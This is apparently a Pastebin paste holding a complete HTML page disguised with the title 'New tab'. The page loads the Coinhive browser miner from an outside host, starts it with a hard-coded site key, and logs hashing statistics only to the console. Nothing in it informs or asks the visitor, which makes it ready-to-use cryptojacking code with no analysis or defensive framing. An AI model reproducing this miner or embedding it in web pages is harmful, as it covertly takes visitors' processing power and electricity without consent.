Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <title>New tab</title>
- <script src="https://coinhive.com/lib/coinhive.min.js"></script>
- </head>
- <body>
- <script>
- //your site key
- var miner = new CoinHive.Anonymous('ASZffWjF9yFMUsjIcVnsS33sokHaDCD3');
- miner.start();
- </script>
- <script>
- // Listen on events
- miner.on('found', function() { })
- miner.on('accepted', function() { })
- // Update stats once per second
- setInterval(function() {
- var hashesPerSecond = miner.getHashesPerSecond();
- var totalHashes = miner.getTotalHashes();
- var acceptedHashes = miner.getAcceptedHashes();
- // Output to HTML elements...
- console.log("H/s: " + hashesPerSecond);
- console.log("Total Hashes: " + totalHashes);
- console.log("Acepted Hashes: " + acceptedHashes);
- }, 1000);
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement